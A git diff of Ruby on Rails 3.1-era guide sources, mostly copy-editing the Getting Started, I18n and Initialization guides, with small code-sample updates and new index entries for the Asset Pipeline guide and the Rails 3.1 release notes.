@@ -908,15 +922,15 @@ following:
</erb>
This partial receives all the instance variables defined in the calling view
-file, so in this case, the controller assigned the new Post object to +@post+
-and so, this is available in both the view and partial as +@post+.
+file. In this case, the controller assigned the new +Post+ object to +@post+,
+which will thus be available in both the view and the partial as +@post+.
For more information on partials, refer to the "Layouts and Rendering in
Rails":layouts_and_rendering.html#using-partials guide.
The +form_for+ block is used to create an HTML form. Within this block, you have
access to methods to build various controls on the form. For example,
-+f.text_field :name+ tells Rails to create a text input on the form, and to hook
++f.text_field :name+ tells Rails to create a text input on the form and to hook
it up to the +name+ attribute of the instance being displayed. You can only use
these methods with attributes of the model that the form is based on (in this
case +name+, +title+, and +content+). Rails uses +form_for+ in preference to
@@ -932,9 +946,9 @@ to a model, you should use the +form_tag+ method, which provides shortcuts for
building forms that are not necessarily tied to a model instance.
When the user clicks the +Create Post+ button on this form, the browser will
-send information back to the +create+ method of the controller (Rails knows to
-call the +create+ method because the form is sent with an HTTP POST request;
-that's one of the conventions that I mentioned earlier):
+send information back to the +create+ action of the controller (Rails knows to
+call the +create+ action because the form is sent with an HTTP POST request;
+that's one of the conventions that were mentioned earlier):
<ruby>
def create
@@ -966,12 +980,12 @@ If the post was not successfully saved, due to a validation error, then the
controller returns the user back to the +new+ action with any error messages so
that the user has the chance to fix the error and try again.
-The "Post was successfully created." message is stored inside of the Rails
-+flash+ hash, (usually just called _the flash_) so that messages can be carried
+The "Post was successfully created." message is stored in the Rails
++flash+ hash (usually just called _the flash_), so that messages can be carried
over to another action, providing the user with useful information on the status
of their request. In the case of +create+, the user never actually sees any page
-rendered during the Post creation process, because it immediately redirects to
-the new Post as soon Rails saves the record. The Flash carries over a message to
+rendered during the post creation process, because it immediately redirects to
+the new +Post+ as soon as Rails saves the record. The Flash carries over a message to
the next action, so that when the user is redirected back to the +show+ action,
they are presented with a message saying "Post was successfully created."
@@ -995,7 +1009,7 @@ end
The +show+ action uses +Post.find+ to search for a single record in the database
by its id value. After finding the record, Rails displays it by using
-+show.html.erb+:
++app/views/posts/show.html.erb+:
<erb>
<p class="notice"><%= notice %></p>
@@ -1044,9 +1058,9 @@ it:
<%= link_to 'Back', posts_path %>
</erb>
-Again, as with the +new+ action, the +edit+ action is using the +form+ partial,
-this time however, the form will do a PUT action to the PostsController and the
-submit button will display "Update Post"
+Again, as with the +new+ action, the +edit+ action is using the +form+ partial.
+This time, however, the form will do a PUT action to the +PostsController+ and the
+submit button will display "Update Post".
Submitting the form created by this view will invoke the +update+ action within
the controller:
@@ -1059,7 +1073,7 @@ def update
if @post.update_attributes(params[:post])
format.html { redirect_to(@post,
:notice => 'Post was successfully updated.') }
- format.json { render :json => {}, :status => :ok }
+ format.json { head :no_content }
else
format.html { render :action => "edit" }
format.json { render :json => @post.errors,
@@ -1071,9 +1085,9 @@ end
In the +update+ action, Rails first uses the +:id+ parameter passed back from
the edit view to locate the database record that's being edited. The
-+update_attributes+ call then takes the rest of the parameters from the request
-and applies them to this record. If all goes well, the user is redirected to the
-post's +show+ view. If there are any problems, it's back to the +edit+ view to
++update_attributes+ call then takes the +post+ parameter (a hash) from the request
+and applies it to this record. If all goes well, the user is redirected to the
+post's +show+ action. If there are any problems, it redirects back to the +edit+ action to
correct them.
h4. Destroying a Post
@@ -1087,20 +1101,20 @@ def destroy
@post.destroy
respond_to do |format|
- format.html { redirect_to(posts_url) }
- format.json { render :json => {}, :status => :ok }
+ format.html { redirect_to posts_url }
+ format.json { head :no_content }
end
end
</ruby>
The +destroy+ method of an Active Record model instance removes the
corresponding record from the database. After that's done, there isn't any
-record to display, so Rails redirects the user's browser to the index view for
-the model.
+record to display, so Rails redirects the user's browser to the index action of
+the controller.
h3. Adding a Second Model
-Now that you've seen how a model built with scaffolding looks like, it's time to
+Now that you've seen what a model built with scaffolding looks like, it's time to
add a second model to the application. The second model will handle comments on
blog posts.
@@ -1108,7 +1122,7 @@ h4. Generating a Model
Models in Rails use a singular name, and their corresponding database tables use
a plural name. For the model to hold comments, the convention is to use the name
-Comment. Even if you don't want to use the entire apparatus set up by
++Comment+. Even if you don't want to use the entire apparatus set up by
scaffolding, most Rails developers still use generators to make things like
models and controllers. To create the new model, run this command in your
terminal:
@@ -1119,9 +1133,11 @@ $ rails generate model Comment commenter:string body:text post:references
This command will generate four files:
-* +app/models/comment.rb+ - The model
-* +db/migrate/20100207235629_create_comments.rb+ - The migration
-* +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness.
+|_.File |_.Purpose|
+|db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
+| app/models/comment.rb | The Comment model |
+| test/unit/comment_test.rb | Unit testing harness for the comments model |
+| test/fixtures/comments.yml | Sample comments for use in testing |
First, take a look at +comment.rb+:
@@ -1168,8 +1184,10 @@ run against the current database, so in this case you will just see:
<shell>
== CreateComments: migrating =================================================
-- create_table(:comments)
- -> 0.0017s
-== CreateComments: migrated (0.0018s) ========================================
+ -> 0.0008s
+-- add_index(:comments, :post_id)
+ -> 0.0003s
+== CreateComments: migrated (0.0012s) ========================================
</shell>
h4. Associating Models
@@ -1178,8 +1196,8 @@ Active Record associations let you easily declare the relationship between two
models. In the case of comments and posts, you could write out the relationships
this way:
-* Each comment belongs to one post
-* One post can have many comments
+* Each comment belongs to one post.
+* One post can have many comments.
In fact, this is very close to the syntax that Rails uses to declare this
association. You've already seen the line of code inside the Comment model that
@@ -1205,7 +1223,7 @@ end
These two declarations enable a good bit of automatic behavior. For example, if
you have an instance variable +@post+ containing a post, you can retrieve all
-the comments belonging to that post as the array +@post.comments+.
+the comments belonging to that post as an array using +@post.comments+.
TIP: For more information on Active Record associations, see the "Active Record
Associations":association_basics.html guide.
@@ -1214,9 +1232,9 @@ h4. Adding a Route for Comments
As with the +home+ controller, we will need to add a route so that Rails knows
where we would like to navigate to see +comments+. Open up the
-+config/routes.rb+ file again, you will see an entry that was added
-automatically for +posts+ near the top by the scaffold generator, +resources
-:posts+, edit it as follows:
++config/routes.rb+ file again. Near the top, you will see the entry for +posts+
+that was added automatically by the scaffold generator: <tt>resources
+:posts</tt>. Edit it as follows:
<ruby>
resources :posts do
@@ -1242,19 +1260,20 @@ $ rails generate controller Comments
This creates six files and one empty directory:
-* +app/controllers/comments_controller.rb+ - The controller
-* +app/helpers/comments_helper.rb+ - A view helper file
-* +test/functional/comments_controller_test.rb+ - The functional tests for the controller
-* +test/unit/helpers/comments_helper_test.rb+ - The unit tests for the helper
-* +app/views/comments/+ - Views of the controller are stored here
-* +app/assets/stylesheets/comment.css.scss+ - Cascading style sheet for the controller
-* +app/assets/javascripts/comment.js.coffee+ - CoffeeScript for the controller
+|_.File/Directory |_.Purpose |
+| app/controllers/comments_controller.rb | The Comments controller |
+| app/views/comments/ | Views of the controller are stored here |
+| test/functional/comments_controller_test.rb | The functional tests for the controller |
+| app/helpers/comments_helper.rb | A view helper file |
+| test/unit/helpers/comments_helper_test.rb | The unit tests for the helper |
+| app/assets/javascripts/comment.js.coffee | CoffeeScript for the controller |
+| app/assets/stylesheets/comment.css.scss | Cascading style sheet for the controller |
Like with any blog, our readers will create their comments directly after
reading the post, and once they have added their comment, will be sent back to
the post show page to see their comment now listed. Due to this, our
+CommentsController+ is there to provide a method to create comments and delete
-SPAM comments when they arrive.
+spam comments when they arrive.
So first, we'll wire up the Post show template
(+/app/views/posts/show.html.erb+) to let us make a new comment:
@@ -1296,8 +1315,8 @@ So first, we'll wire up the Post show template
<%= link_to 'Back to Posts', posts_path %> |
</erb>
-This adds a form on the Post show page that creates a new comment, which will
-call the +CommentsController+ +create+ action, so let's wire that up:
+This adds a form on the +Post+ show page that creates a new comment by
+calling the +CommentsController+ +create+ action. Let's wire that up:
<ruby>
class CommentsController < ApplicationController
@@ -1310,9 +1329,9 @@ end
</ruby>
You'll see a bit more complexity here than you did in the controller for posts.
-That's a side-effect of the nesting that you've set up; each request for a
+That's a side-effect of the nesting that you've set up. Each request for a
comment has to keep track of the post to which the comment is attached, thus the
-initial find action to the Post model to get the post in question.
+initial call to the +find+ method of the +Post+ model to get the post in question.
In addition, the code takes advantage of some of the methods available for an
association. We use the +create+ method on +@post.comments+ to create and save
@@ -1382,9 +1401,9 @@ right places.
h3. Refactoring
-Now that we have Posts and Comments working, if we take a look at the
-+app/views/posts/show.html.erb+ template, it's getting long and awkward. We can
-use partials to clean this up.
+Now that we have posts and comments working, take a look at the
++app/views/posts/show.html.erb+ template. It is getting long and awkward. We can
+use partials to clean it up.
h4. Rendering Partial Collections
@@ -1404,7 +1423,7 @@ following into it:
</p>
</erb>
-Then in the +app/views/posts/show.html.erb+ you can change it to look like the
+Then you can change +app/views/posts/show.html.erb+ to look like the
following:
<erb>
@@ -1457,8 +1476,8 @@ comment to a local variable named the same as the partial, in this case
h4. Rendering a Partial Form
-Lets also move that new comment section out to it's own partial, again, you
-create a file +app/views/comments/_form.html.erb+ and in it you put:
+Let us also move that new comment section out to its own partial. Again, you
+create a file +app/views/comments/_form.html.erb+ containing:
<erb>
<%= form_for([@post, @post.comments.build]) do |f| %>
@@ -1509,7 +1528,7 @@ Then you make the +app/views/posts/show.html.erb+ look like the following:
</erb>
The second render just defines the partial template we want to render,
-<tt>comments/form</tt>, Rails is smart enough to spot the forward slash in that
+<tt>comments/form</tt>. Rails is smart enough to spot the forward slash in that
string and realize that you want to render the <tt>_form.html.erb</tt> file in
the <tt>app/views/comments</tt> directory.
@@ -1518,7 +1537,7 @@ defined it as an instance variable.
h3. Deleting Comments
-Another important feature on a blog is being able to delete SPAM comments. To do
+Another important feature of a blog is being able to delete spam comments. To do
this, we need to implement a link of some sort in the view and a +DELETE+ action
in the +CommentsController+.
@@ -1608,7 +1627,7 @@ action, except for +index+ and +show+, so we write that:
<ruby>
class PostsController < ApplicationController
- http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
+ http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show]
# GET /posts
# GET /posts.json
@@ -1636,7 +1655,6 @@ Authentication challenge
!images/challenge.png(Basic HTTP Authentication Challenge)!
-
h3. Building a Multi-Model Form
Another feature of your average blog is the ability to tag posts. To implement
@@ -1724,8 +1742,8 @@ This example shows another option of the render helper, being able to pass in
local variables, in this case, we want the local variable +form+ in the partial
to refer to the +post_form+ object.
-We also add a <tt>@post.tags.build</tt> at the top of this form, this is to make
-sure there is a new tag ready to have it's name filled in by the user. If you do
+We also add a <tt>@post.tags.build</tt> at the top of this form. This is to make
+sure there is a new tag ready to have its name filled in by the user. If you do
not build the new tag, then the form will not appear as there is no new Tag
object ready to create.
@@ -1890,24 +1908,3 @@ Two very common sources of data that are not UTF-8:
is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese
character, the data will be lost forever once it enters the database. If possible,
use UTF-8 as the internal storage of your database.
-
-h3. Changelog
-
-* April 26, 2011: Change migration code from +up+, +down+ pair to +change+ method by "Prem Sichanugrist":http://sikachu.com
-* April 11, 2011: Change scaffold_controller generator to create format block for JSON instead of XML by "Sebastian Martinez":http://www.wyeworks.com
-* August 30, 2010: Minor editing after Rails 3 release by "Joost Baaij":http://www.spacebabies.nl
-* July 12, 2010: Fixes, editing and updating of code samples by "Jaime Iniesta":http://jaimeiniesta.com
-* May 16, 2010: Added a section on configuration gotchas to address common encoding problems that people might have by "Yehuda Katz":http://www.yehudakatz.com
-* April 30, 2010: Fixes, editing and updating of code samples by "Rohit Arondekar":http://rohitarondekar.com
-* April 25, 2010: Couple of more minor fixups by "Mikel Lindsaar":credits.html#raasdnil
-* April 1, 2010: Fixed document to validate XHTML 1.0 Strict by "Jaime Iniesta":http://jaimeiniesta.com
-* February 8, 2010: Full re-write for Rails 3.0-beta, added helpers and before_filters, refactored code by "Mikel Lindsaar":credits.html#raasdnil
-* January 24, 2010: Re-write for Rails 3.0 by "Mikel Lindsaar":credits.html#raasdnil
-* July 18, 2009: Minor cleanup in anticipation of Rails 2.3.3 by "Mike Gunderloy":credits.html#mgunderloy
-* February 1, 2009: Updated for Rails 2.3 by "Mike Gunderloy":credits.html#mgunderloy
-* November 3, 2008: Formatting patch from Dave Rothlisberger
-* November 1, 2008: First approved version by "Mike Gunderloy":credits.html#mgunderloy
-* October 16, 2008: Revised based on feedback from Pratik Naik by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
-* October 13, 2008: First complete draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
-* October 12, 2008: More detail, rearrangement, editing by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
-* September 8, 2008: initial version by "James Miller":credits.html#bensie (not yet approved for publication)
diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile
index 0c8e4e974d..e9477e84cf 100644
--- a/railties/guides/source/i18n.textile
+++ b/railties/guides/source/i18n.textile
@@ -1,4 +1,4 @@
-lh2. Rails Internationalization (I18n) API
+h2. Rails Internationalization (I18n) API
The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application.
@@ -8,15 +8,15 @@ So, in the process of _internationalizing_ your Rails application you have to:
* Ensure you have support for i18n
* Tell Rails where to find locale dictionaries
-* Tell Rails how to set, preserve and switch locale
+* Tell Rails how to set, preserve and switch locales
In the process of _localizing_ your application you'll probably want to do the following three things:
-* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc
+* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc.
* Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc.
* Store the resulting dictionaries somewhere
-This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start.
+This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start.
endprologue.
@@ -91,7 +91,7 @@ This means, that in the +:en+ locale, the key _hello_ will map to the _Hello wor
The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations.
-NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it.
+NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-GB+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-GB+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-GB+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it.
The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
@@ -231,7 +231,7 @@ end
Now, when you call the +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Netherlands locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed).
-If you don't want to force the use of a locale in your routes you can use an optional path scope (donated by the use brackets) like so:
+If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so:
<ruby>
# config/routes.rb
@@ -365,6 +365,19 @@ NOTE: You need to restart the server when you add new locale files.
You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)
+h4. Passing variables to translations
+
+You can use variables in the translation messages and pass their values from the view.
+
+<ruby>
+# app/views/home/index.html.erb
+<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %>
+
+# config/locales/en.yml
+en:
+ greet_username: "%{message}, %{user}!"
+</ruby>
+
h4. Adding Date/Time Formats
OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used.
@@ -448,6 +461,7 @@ Covered are features like these:
* looking up translations
* interpolating data into translations
* pluralizing translations
+* using safe HTML translations
* localizing dates, numbers, currency, etc.
h4. Looking up Translations
@@ -599,6 +613,27 @@ The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The
I18n.default_locale = :de
</ruby>
+h4. Using Safe HTML Translations
+
+Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
+
+<ruby>
+# config/locales/en.yml
+en:
+ welcome: <b>welcome!</b>
+ hello_html: <b>hello!</b>
+ title:
+ html: <b>title!</b>
+
+# app/views/home/index.html.erb
+<div><%= t('welcome') %></div>
+<div><%= raw t('welcome') %></div>
+<div><%= t('hello_html') %></div>
+<div><%= t('title.html') %></div>
+</ruby>
+
+!images/i18n/demo_html_safe.png(i18n demo html safe)!
+
h3. How to Store your Custom Translations
The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2]
@@ -796,7 +831,6 @@ h5. Active Support Methods
* +Array#to_sentence+ uses format settings as given in the "support.array":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope.
-
h3. Customize your I18n Setup
h4. Using Different Backends
diff --git a/railties/guides/source/index.html.erb b/railties/guides/source/index.html.erb
index b48488d8a2..c9a8c4fa5c 100644
--- a/railties/guides/source/index.html.erb
+++ b/railties/guides/source/index.html.erb
@@ -30,7 +30,6 @@ Ruby on Rails Guides
<% content_for :index_section do %>
<div id="subCol">
<dl>
- <dd class="warning">Rails Guides are a result of the ongoing <a href="http://hackfest.rubyonrails.org">Guides hackfest</a>, and a work in progress.</dd>
<dd class="work-in-progress">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections to the author.</dd>
</dl>
</div>
@@ -124,13 +123,17 @@ Ruby on Rails Guides
<p>This guide covers the basic configuration settings for a Rails application.</p>
<% end %>
-<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html', :work_in_progress => true) do %>
+<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html') do %>
<p>This guide covers the command line tools and rake tasks provided by Rails.</p>
<% end %>
<%= guide("Caching with Rails", 'caching_with_rails.html', :work_in_progress => true) do %>
<p>Various caching techniques provided by Rails.</p>
<% end %>
+
+<%= guide('Asset Pipeline', 'asset_pipeline.html') do %>
+ <p>This guide documents the asset pipeline.</p>
+<% end %>
</dl>
<h3>Extending Rails</h3>
@@ -170,6 +173,10 @@ Ruby on Rails Guides
<h3>Release Notes</h3>
<dl>
+<%= guide("Ruby on Rails 3.1 Release Notes", '3_1_release_notes.html') do %>
+ <p>Release notes for Rails 3.1.</p>
+<% end %>
+
<%= guide("Ruby on Rails 3.0 Release Notes", '3_0_release_notes.html') do %>
<p>Release notes for Rails 3.0.</p>
<% end %>
diff --git a/railties/guides/source/initialization.textile b/railties/guides/source/initialization.textile
index 477ee5a3a2..5ae9cf0f2b 100644
--- a/railties/guides/source/initialization.textile
+++ b/railties/guides/source/initialization.textile
@@ -1,13 +1,13 @@
h2. The Rails Initialization Process
-This guide explains the internals of the initialization process in Rails works as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers.
+This guide explains the internals of the initialization process in Rails as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers.
* Using +rails server+
* Using Passenger
endprologue.
-This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail a long the way. For this guide, we will be focusing on how the two most common methods (+rails server+ and Passenger) boot a Rails application.
+This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail along the way. For this guide, we will be focusing on how the two most common methods (+rails server+ and Passenger) boot a Rails application.
NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified.
@@ -17,7 +17,7 @@ As of Rails 3, +script/server+ has become +rails server+. This was done to centr
h4. +bin/rails+
-The actual +rails+ command is kept in _bin/rails_ at the and goes like this:
+The actual +rails+ command is kept in _bin/rails_:
<ruby>
#!/usr/bin/env ruby
@@ -31,9 +31,9 @@ rescue LoadError
end
</ruby>
-This file will attempt to load +rails/cli+ and if it cannot find it then add the +railties/lib+ path to the load path (+$:+) and will then try to require it again.
+This file will attempt to load +rails/cli+. If it cannot find it then +railties/lib+ is added to the load path (+$:+) before retrying.
-h4. +railites/lib/rails/cli.rb+
+h4. +railties/lib/rails/cli.rb+
This file looks like this:
@@ -56,7 +56,7 @@ else
end
</ruby>
-The +rbconfig+ file here is out of Ruby's standard library and provides us with the +RbConfig+ class which contains useful information dependent on how Ruby was compiled. We'll see this in use in +railties/lib/rails/script_rails_loader+.
+The +rbconfig+ file from the Ruby standard library provides us with the +RbConfig+ class which contains detailed information about the Ruby environment, including how Ruby was compiled. We can see this in use in +railties/lib/rails/script_rails_loader+.
<ruby>
require 'pathname'
@@ -71,7 +71,7 @@ module Rails
end
</ruby>
-The +rails/script_rails_loader+ file uses +RbConfig::Config+ to gather up the +bin_dir+ and +ruby_install_name+ values for the configuration which will result in a path such as +/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby+, which is the default path on Mac OS X. If you're running Windows the path may be something such as +C:/Ruby192/bin/ruby+. Anyway, the path on your system may be different, but the point of this is that it will point at the known ruby executable location for your install. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ console, we'll see that when we get to the +in_rails_application?+ method.
+The +rails/script_rails_loader+ file uses +RbConfig::Config+ to obtain the +bin_dir+ and +ruby_install_name+ values for the configuration which together form the path to the Ruby interpreter. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ constant, we'll see that when we get to the +in_rails_application?+ method.
Back in +rails/cli+, the next line is this:
@@ -79,7 +79,7 @@ Back in +rails/cli+, the next line is this:
Rails::ScriptRailsLoader.exec_script_rails!
</ruby>
-This method is defined in +rails/script_rails_loader+ like this:
+This method is defined in +rails/script_rails_loader+:
<ruby>
def self.exec_script_rails!
@@ -96,7 +96,7 @@ rescue SystemCallError
end
</ruby>
-This method will first check if the current working directory (+cwd+) is a Rails application or is a subdirectory of one. The way to determine this is defined in the +in_rails_application?+ method like this:
+This method will first check if the current working directory (+cwd+) is a Rails application or a subdirectory of one. This is determined by the +in_rails_application?+ method:
<ruby>
def self.in_rails_application?
@@ -104,7 +104,7 @@ def self.in_rails_application?
end
</ruby>
-The +SCRIPT_RAILS+ constant defined earlier is used here, with +File.exists?+ checking for its presence in the current directory. If this method returns +false+, then +in_rails_application_subdirectory?+ will be used:
+The +SCRIPT_RAILS+ constant defined earlier is used here, with +File.exists?+ checking for its presence in the current directory. If this method returns +false+ then +in_rails_application_subdirectory?+ will be used:
<ruby>
def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd))
@@ -112,17 +112,17 @@ def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd))
end
</ruby>
-This climbs the directory tree until it reaches a path which contains a +script/rails+ file. If a directory is reached which contains this file then this line will run:
+This climbs the directory tree until it reaches a path which contains a +script/rails+ file. If a directory containing this file is reached then this line will run:
<ruby>
exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
</ruby>
-This is effectively the same as doing +ruby script/rails [arguments]+. Where +[arguments]+ at this point in time is simply "server".
+This is effectively the same as running +ruby script/rails [arguments]+, where +[arguments]+ at this point in time is simply "server".
h4. +script/rails+
-This file looks like this:
+This file is as follows:
<ruby>
APP_PATH = File.expand_path('../../config/application', __FILE__)
@@ -130,7 +130,7 @@ require File.expand_path('../../config/boot', __FILE__)
require 'rails/commands'
</ruby>
-The +APP_PATH+ constant here will be used later in +rails/commands+. The +config/boot+ file that +script/rails+ references is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up.
+The +APP_PATH+ constant will be used later in +rails/commands+. The +config/boot+ file referenced here is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up.
h4. +config/boot.rb+
@@ -190,7 +190,8 @@ aliases = {
"g" => "generate",
"c" => "console",
"s" => "server",
- "db" => "dbconsole"
+ "db" => "dbconsole",
+ "r" => "runner"
}
command = ARGV.shift
@@ -242,7 +243,7 @@ In this file there are a lot of lines such as this inside the +ActiveSupport+ mo
autoload :Inflector
</ruby>
-Due to the overriding of the +autoload+ method, Ruby will know to look for this file at +activesupport/lib/active_support/inflector.rb+ when the +Inflector+ class is first referenced.
+Due to the overriding of the +autoload+ method, Ruby will know how to look for this file at +activesupport/lib/active_support/inflector.rb+ when the +Inflector+ class is first referenced.
The +active_support/lib/active_support/version.rb+ that is also required here simply defines an +ActiveSupport::VERSION+ constant which defines a couple of constants inside this module, the main constant of this is +ActiveSupport::VERSION::STRING+ which returns the current version of ActiveSupport.
@@ -348,10 +349,10 @@ The class *is* defined in +Rack::Server+, but is overwritten in +Rails::Server+
def parse!(args)
args, options = args.dup, {}
- opt_parser = OptionParser.new do |opts|
- opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
- opts.on("-p", "--port=port", Integer,
- "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
+ opt_parser = OptionParser.new do |opts|
+ opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
+ opts.on("-p", "--port=port", Integer,
+ "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
...
</ruby>
@@ -449,11 +450,11 @@ run YourApp::Application
The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code:
<ruby>
-app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
+app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app",
TOPLEVEL_BINDING, config
</ruby>
-The <ruby>initialize</ruby> method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run:
+The +initialize+ method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run:
<ruby>
require ::File.expand_path('../config/environment', __FILE__)
@@ -524,19 +525,19 @@ silence_warnings do
end
</ruby>
-These methods can be used to silence STDERR responses and the +silence_stream+ allows you to also silence other streams. Additionally, this mixin allows you to suppress exceptions and capture streams. For more information see the "Silencing Warnings, Streams, and Exceptions":http://guides.rubyonrails.org/active_support_core_extensions.html#silencing-warnings-streams-and-exceptions section from the Active Support Core Extensions Guide.
+These methods can be used to silence STDERR responses and the +silence_stream+ allows you to also silence other streams. Additionally, this mixin allows you to suppress exceptions and capture streams. For more information see the "Silencing Warnings, Streams, and Exceptions":active_support_core_extensions.html#silencing-warnings-streams-and-exceptions section from the Active Support Core Extensions Guide.
h4. +active_support/core_ext/logger.rb+
The next file that is required is another Active Support core extension, this time to the +Logger+ class. This begins by defining the +around_[level]+ helpers for the +Logger+ class as well as other methods such as a +datetime_format+ getter and setter for the +formatter+ object tied to a +Logger+ object.
-For more information see the "Extensions to Logger":http://guides.rubyonrails.org/active_support_core_extensions.html#extensions-to-logger section from the Active Support Core Extensions Guide.
+For more information see the "Extensions to Logger":active_support_core_extensions.html#extensions-to-logger section from the Active Support Core Extensions Guide.
h4. +railties/lib/rails/application.rb+
The next file required by +railties/lib/rails.rb+ is +application.rb+. This file defines the +Rails::Application+ constant which the application's class defined in +config/application.rb+ in a standard Rails application depends on. Before the +Rails::Application+ class is defined however, there's some other files that get required first.
-The first of these is +active_support/core_ext/hash/reverse_merge+ which can be "read about in the Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#merging under the "Merging" section.
+The first of these is +active_support/core_ext/hash/reverse_merge+ which can be "read about in the Active Support Core Extensions guide":active_support_core_extensions.html#merging under the "Merging" section.
h4. +active_support/file_update_checker.rb+
@@ -574,7 +575,7 @@ Now that +rails/initializable.rb+ has finished being required from +rails/railti
h4. +railties/lib/rails/configuration.rb+
-This file defines the +Rails::Configuration+ module, containing the +MiddlewareStackProxy+ class as well as the +Generators+ class. The +MiddlewareStackProxy+ class is used for managing the middleware stack for an application, which we'll see later on. The +Generators+ class provides the functionality used for configuring what generators an application uses through the "+config.generators+ option":http://guides.rubyonrails.org/configuring.html#configuring-generators.
